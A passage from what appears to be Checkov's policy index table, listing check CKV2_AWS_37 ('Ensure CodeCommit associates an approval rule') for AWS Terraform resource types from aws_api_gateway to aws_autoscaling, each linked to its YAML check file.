Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 954 | CKV2_AWS_37 | resource | aws_api_gateway_client_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 955 | CKV2_AWS_37 | resource | aws_api_gateway_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 956 | CKV2_AWS_37 | resource | aws_api_gateway_documentation_part | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 957 | CKV2_AWS_37 | resource | aws_api_gateway_documentation_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 958 | CKV2_AWS_37 | resource | aws_api_gateway_domain_name | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 959 | CKV2_AWS_37 | resource | aws_api_gateway_domain_name_access_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 960 | CKV2_AWS_37 | resource | aws_api_gateway_gateway_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 961 | CKV2_AWS_37 | resource | aws_api_gateway_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 962 | CKV2_AWS_37 | resource | aws_api_gateway_integration_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 963 | CKV2_AWS_37 | resource | aws_api_gateway_method | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 964 | CKV2_AWS_37 | resource | aws_api_gateway_method_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 965 | CKV2_AWS_37 | resource | aws_api_gateway_method_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 966 | CKV2_AWS_37 | resource | aws_api_gateway_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 967 | CKV2_AWS_37 | resource | aws_api_gateway_request_validator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 968 | CKV2_AWS_37 | resource | aws_api_gateway_resource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 969 | CKV2_AWS_37 | resource | aws_api_gateway_rest_api | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 970 | CKV2_AWS_37 | resource | aws_api_gateway_rest_api_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 971 | CKV2_AWS_37 | resource | aws_api_gateway_stage | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 972 | CKV2_AWS_37 | resource | aws_api_gateway_usage_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 973 | CKV2_AWS_37 | resource | aws_api_gateway_usage_plan_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 974 | CKV2_AWS_37 | resource | aws_api_gateway_vpc_link | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 975 | CKV2_AWS_37 | resource | aws_apigatewayv2_api | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 976 | CKV2_AWS_37 | resource | aws_apigatewayv2_api_mapping | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 977 | CKV2_AWS_37 | resource | aws_apigatewayv2_authorizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 978 | CKV2_AWS_37 | resource | aws_apigatewayv2_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 979 | CKV2_AWS_37 | resource | aws_apigatewayv2_domain_name | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 980 | CKV2_AWS_37 | resource | aws_apigatewayv2_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 981 | CKV2_AWS_37 | resource | aws_apigatewayv2_integration_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 982 | CKV2_AWS_37 | resource | aws_apigatewayv2_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 983 | CKV2_AWS_37 | resource | aws_apigatewayv2_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 984 | CKV2_AWS_37 | resource | aws_apigatewayv2_route_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 985 | CKV2_AWS_37 | resource | aws_apigatewayv2_stage | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 986 | CKV2_AWS_37 | resource | aws_apigatewayv2_vpc_link | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 987 | CKV2_AWS_37 | resource | aws_app_cookie_stickiness_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 988 | CKV2_AWS_37 | resource | aws_appautoscaling_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 989 | CKV2_AWS_37 | resource | aws_appautoscaling_scheduled_action | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 990 | CKV2_AWS_37 | resource | aws_appautoscaling_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 991 | CKV2_AWS_37 | resource | aws_appconfig_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 992 | CKV2_AWS_37 | resource | aws_appconfig_configuration_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 993 | CKV2_AWS_37 | resource | aws_appconfig_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 994 | CKV2_AWS_37 | resource | aws_appconfig_deployment_strategy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 995 | CKV2_AWS_37 | resource | aws_appconfig_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 996 | CKV2_AWS_37 | resource | aws_appconfig_extension | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 997 | CKV2_AWS_37 | resource | aws_appconfig_extension_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 998 | CKV2_AWS_37 | resource | aws_appconfig_hosted_configuration_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 999 | CKV2_AWS_37 | resource | aws_appfabric_app_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1000 | CKV2_AWS_37 | resource | aws_appfabric_app_authorization_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1001 | CKV2_AWS_37 | resource | aws_appfabric_app_bundle | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1002 | CKV2_AWS_37 | resource | aws_appfabric_ingestion | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1003 | CKV2_AWS_37 | resource | aws_appfabric_ingestion_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1004 | CKV2_AWS_37 | resource | aws_appflow_connector_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1005 | CKV2_AWS_37 | resource | aws_appflow_flow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1006 | CKV2_AWS_37 | resource | aws_appintegrations_data_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1007 | CKV2_AWS_37 | resource | aws_appintegrations_event_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1008 | CKV2_AWS_37 | resource | aws_applicationinsights_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1009 | CKV2_AWS_37 | resource | aws_appmesh_gateway_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1010 | CKV2_AWS_37 | resource | aws_appmesh_mesh | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1011 | CKV2_AWS_37 | resource | aws_appmesh_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1012 | CKV2_AWS_37 | resource | aws_appmesh_virtual_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1013 | CKV2_AWS_37 | resource | aws_appmesh_virtual_node | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1014 | CKV2_AWS_37 | resource | aws_appmesh_virtual_router | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1015 | CKV2_AWS_37 | resource | aws_appmesh_virtual_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1016 | CKV2_AWS_37 | resource | aws_apprunner_auto_scaling_configuration_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1017 | CKV2_AWS_37 | resource | aws_apprunner_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1018 | CKV2_AWS_37 | resource | aws_apprunner_custom_domain_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1019 | CKV2_AWS_37 | resource | aws_apprunner_default_auto_scaling_configuration_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1020 | CKV2_AWS_37 | resource | aws_apprunner_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1021 | CKV2_AWS_37 | resource | aws_apprunner_observability_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1022 | CKV2_AWS_37 | resource | aws_apprunner_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1023 | CKV2_AWS_37 | resource | aws_apprunner_vpc_connector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1024 | CKV2_AWS_37 | resource | aws_apprunner_vpc_ingress_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1025 | CKV2_AWS_37 | resource | aws_appstream_directory_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1026 | CKV2_AWS_37 | resource | aws_appstream_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1027 | CKV2_AWS_37 | resource | aws_appstream_fleet_stack_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1028 | CKV2_AWS_37 | resource | aws_appstream_image_builder | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1029 | CKV2_AWS_37 | resource | aws_appstream_stack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1030 | CKV2_AWS_37 | resource | aws_appstream_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1031 | CKV2_AWS_37 | resource | aws_appstream_user_stack_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1032 | CKV2_AWS_37 | resource | aws_appsync_api_cache | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1033 | CKV2_AWS_37 | resource | aws_appsync_api_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1034 | CKV2_AWS_37 | resource | aws_appsync_datasource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1035 | CKV2_AWS_37 | resource | aws_appsync_domain_name | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1036 | CKV2_AWS_37 | resource | aws_appsync_domain_name_api_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1037 | CKV2_AWS_37 | resource | aws_appsync_function | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1038 | CKV2_AWS_37 | resource | aws_appsync_graphql_api | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1039 | CKV2_AWS_37 | resource | aws_appsync_resolver | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1040 | CKV2_AWS_37 | resource | aws_appsync_source_api_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1041 | CKV2_AWS_37 | resource | aws_appsync_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1042 | CKV2_AWS_37 | resource | aws_athena_data_catalog | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1043 | CKV2_AWS_37 | resource | aws_athena_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1044 | CKV2_AWS_37 | resource | aws_athena_named_query | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1045 | CKV2_AWS_37 | resource | aws_athena_prepared_statement | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1046 | CKV2_AWS_37 | resource | aws_athena_workgroup | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1047 | CKV2_AWS_37 | resource | aws_auditmanager_account_registration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1048 | CKV2_AWS_37 | resource | aws_auditmanager_assessment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1049 | CKV2_AWS_37 | resource | aws_auditmanager_assessment_delegation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1050 | CKV2_AWS_37 | resource | aws_auditmanager_assessment_report | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1051 | CKV2_AWS_37 | resource | aws_auditmanager_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1052 | CKV2_AWS_37 | resource | aws_auditmanager_framework | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1053 | CKV2_AWS_37 | resource | aws_auditmanager_framework_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1054 | CKV2_AWS_37 | resource | aws_auditmanager_organization_admin_account_registration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1055 | CKV2_AWS_37 | resource | aws_autoscaling_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1056 | CKV2_AWS_37 | resource | aws_autoscaling_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1057 | CKV2_AWS_37 | resource | aws_autoscaling_group_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1058 | CKV2_AWS_37 | resource | aws_autoscaling_lifecycle_hook | Ensure CodeCommit associates an approval rule | Terraform | 